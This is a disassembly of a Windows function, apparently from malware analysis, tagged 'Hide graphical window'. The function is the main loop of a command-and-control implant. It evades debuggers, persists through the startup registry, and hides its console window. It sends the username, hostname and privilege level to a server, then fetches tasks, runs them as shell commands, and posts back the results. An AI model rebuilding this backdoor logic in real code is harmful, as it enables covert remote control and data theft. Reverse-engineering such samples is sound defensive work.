Function at 0x14000180b
Capabilities:
Hide graphical window

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x5a8
lea rbp, [rsp + 0x80]
call sym.__main
call dbg.DebuggerPresence()
test al, al
je 0x140001836
mov ecx, 1
call sym.exit
lea rax, [rbp + 0x1ff]
mov qword [rbp + 0x4e0], rax
nop
nop
lea rdx, [rbp + 0x1ff]
lea rax, [rbp + 0x1d0]
mov r8, rdx
lea rdx, [0x1400f6172]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x1d0]
mov rcx, rax
call dbg.AddToStartupRegistry(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x1d0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
test bl, bl
je 0x140001898
mov ecx, 2
call sym.exit
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x110]
mov rcx, rax
call dbg.agent::agent()
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x110]
mov rcx, rax
call dbg.agent::getPrivilege[abi:cxx11]()
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x110]
mov rcx, rax
call dbg.agent::getUsername[abi:cxx11]()
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x110]
mov rcx, rax
call dbg.agent::getHostname[abi:cxx11]()
mov esi, 0xa
lea rdi, [0x1400f6176]
lea rax, [rbp + 0xf0]
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rdi
lea r9, [rbp + 0x220]
lea r8, [rbp + 0x240]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x200]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym._ZSt6formatIJNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES5_S5_EES5_St19basic_format_stringIcJDpNSt13type_identityIT_E
lea rax, [rbp + 0x240]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x220]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x200]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0xd0]
lea rdx, [rbp + 0x110]
mov rcx, rax
call dbg.agent::getIP[abi:cxx11]()
lea rax, [rbp + 0x110]
mov rcx, rax
call dbg.agent::getPort()
mov dword [rbp + 0x514], eax
lea rax, [rbp + 0x2af]
mov qword [rbp + 0x4d8], rax
nop
nop
lea rdx, [rbp + 0x2af]
lea rax, [rbp + 0x280]
mov r8, rdx
lea rdx, [0x1400f6181]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x260]
lea rcx, [rbp + 0x280]
lea rdx, [rbp + 0xf0]
mov r8, rcx
mov rcx, rax
call dbg.xorStrings(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea rax, [rbp + 0x2df]
mov qword [rbp + 0x4d0], rax
nop
nop
lea rdx, [rbp + 0x2df]
lea rax, [rbp + 0x2b0]
mov r8, rdx
lea rdx, str._reg
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rdx, [rbp + 0xd0]
lea rax, [rbp + 0x2e0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea rax, [rbp + 0xb0]
lea r9, [rbp + 0x2b0]
mov r8d, dword [rbp + 0x514]
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x260]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.post_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2e0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x2b0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
lea rax, [rbp + 0x260]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x280]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
lea rax, [rbp + 0xb0]
mov r8, 0xffffffffffffffff
lea rdx, [0x1400f618b]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::find_last_not_of(char const*, unsigned long long) const
mov qword [rbp + 0x508], rax
cmp qword [rbp + 0x508], 0xffffffffffffffff
je 0x140001b1d
mov rax, qword [rbp + 0x508]
lea rcx, [rax + 1]
lea rax, [rbp + 0x300]
lea rdx, [rbp + 0xb0]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::substr(unsigned long long, unsigned long long) const
lea rdx, [rbp + 0x300]
lea rax, [rbp + 0xb0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&)
lea rax, [rbp + 0x300]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0xb0]
mov rdx, rax
mov rax, qword [0x1400fcc00]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
lea rax, [0x1400f618e]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
pxor xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
movq qword [rbp + 0xa0], xmm0
mov edx, 0x9c4
mov ecx, 0xfa
call dbg.getRandom(int, int)
mov dword [rbp + 0x504], eax
lea rax, [rbp + 0x36f]
mov qword [rbp + 0x4c8], rax
nop
nop
lea rdx, [rbp + 0x36f]
lea rax, [rbp + 0x340]
mov r8, rdx
lea rdx, str._implant_id
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x320]
lea rdx, [rbp + 0x340]
mov r8, rdx
lea rdx, str._tasks
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&)
lea rax, [rbp - 0x40]
lea rcx, [rbp + 0xb0]
lea rdx, [rbp + 0x320]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x320]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x340]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x370]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea rdx, [rbp + 0xd0]
lea rax, [rbp + 0x390]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea rax, [rbp - 0x20]
lea r8, [rbp + 0x370]
mov ecx, dword [rbp + 0x514]
lea rdx, [rbp + 0x390]
mov r9, r8
mov r8d, ecx
mov rcx, rax
call dbg.get(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, unsigned int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x390]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x370]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp - 0x20]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::size() const
lea rcx, [rax - 2]
lea rax, [rbp + 0x3b0]
lea rdx, [rbp - 0x20]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::substr(unsigned long long, unsigned long long) const
lea rdx, [rbp + 0x3b0]
lea rax, [rbp - 0x20]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&)
lea rax, [rbp + 0x3b0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp - 0x20]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::empty() const
xor eax, 1
test al, al
je 0x14000202e
lea rax, [rbp + 0x41f]
mov qword [rbp + 0x4c0], rax
nop
nop
lea rdx, [rbp + 0x41f]
lea rax, [rbp + 0x3f0]
mov r8, rdx
lea rdx, [0x1400f61a4]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x3d0]
lea rcx, [rbp + 0x3f0]
lea rdx, [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call dbg.split_string(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea rdx, [rbp + 0x3d0]
lea rax, [rbp + 0x90]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.operator_std::vector_std::__cxx11::basic_string_char__s
lea rax, [rbp + 0x3d0]
mov rcx, rax
call dbg.std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >::~vector()
lea rax, [rbp + 0x3f0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
lea rax, [rbp + 0x90]
mov rcx, rax
call dbg.std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >::size() const
and eax, 1
test rax, rax
setne al
test al, al
je 0x140001e45
lea rax, [rbp + 0x90]
mov qword [rbp + 0x4f8], rax
mov rax, qword [rbp + 0x4f8]
mov rcx, rax
call dbg.std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >::begin()
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x4f8]
mov rcx, rax
call dbg.std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >::end()
mov qword [rbp + 0x80], rax
jmp 0x140001dfc
lea rax, [rbp + 0x88]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___const
mov qword [rbp + 0x4f0], rax
mov rax, qword [rbp + 0x4f0]
mov rdx, rax
mov rax, qword [0x1400fcc00]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
lea rax, [0x1400f618e]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x88]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator__
lea rdx, [rbp + 0x80]
lea rax, [rbp + 0x88]
mov rcx, rax
call sym._ZN9__gnu_cxxeqIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EES
xor eax, 1
test al, al
jne 0x140001dac
lea rax, [rbp + 0x110]
mov rcx, rax
call dbg.agent::getSleep()
mov edx, dword [rbp + 0x504]
add eax, edx
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ebx, 0
jmp 0x140002064
mov qword [rbp + 0x518], 0
jmp 0x14000200d
mov rdx, qword [rbp + 0x518]
lea rax, [rbp + 0x90]
mov rcx, rax
call dbg.std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >::operator[](unsigned long long)
mov rdx, rax
mov rax, rbp
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
mov rax, qword [rbp + 0x518]
lea rdx, [rax + 1]
lea rax, [rbp + 0x90]
mov rcx, rax
call dbg.std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >::operator[](unsigned long long)
mov rdx, rax
lea rax, [rbp + 0x20]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x20]
mov rcx, rax
call dbg.shell(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea rax, [rbp + 0x40]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::empty() const
test al, al
je 0x140001ed5
lea rax, [rbp + 0x40]
lea rdx, [0x1400f61a7]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)
lea rax, [rbp + 0x420]
mov rdx, rbp
lea r8, [0x1400f61a4]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x60]
lea rcx, [rbp + 0x40]
lea rdx, [rbp + 0x420]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x420]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x48f]
mov qword [rbp + 0x4b8], rax
nop
nop
lea rdx, [rbp + 0x48f]
lea rax, [rbp + 0x460]
mov r8, rdx
lea rdx, str._res
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x110]
mov rcx, rax
call dbg.agent::getPort()
mov ebx, eax
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x110]
mov rcx, rax
call dbg.agent::getIP[abi:cxx11]()
lea rax, [rbp + 0x440]
lea r8, [rbp + 0x460]
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x60]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, ebx
mov rcx, rax
call sym.post_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x440]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x490]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x460]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0x60]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x40]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x20]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
mov rax, rbp
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
add qword [rbp + 0x518], 2
lea rax, [rbp + 0x90]
mov rcx, rax
call dbg.std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >::size() const
cmp qword [rbp + 0x518], rax
setb al
test al, al
jne 0x140001e55
lea rax, [rbp + 0x90]
mov rcx, rax
call dbg.std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >::clear()
lea rax, [rbp + 0x110]
mov rcx, rax
call dbg.agent::getSleep()
mov edx, dword [rbp + 0x504]
add eax, edx
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ebx, 1
lea rax, [rbp - 0x20]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
cmp ebx, 1
jne 0x14000207c
mov ebx, 1
jmp 0x140002081
mov ebx, 0
lea rax, [rbp - 0x40]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
cmp ebx, 1
jmp 0x140001b5b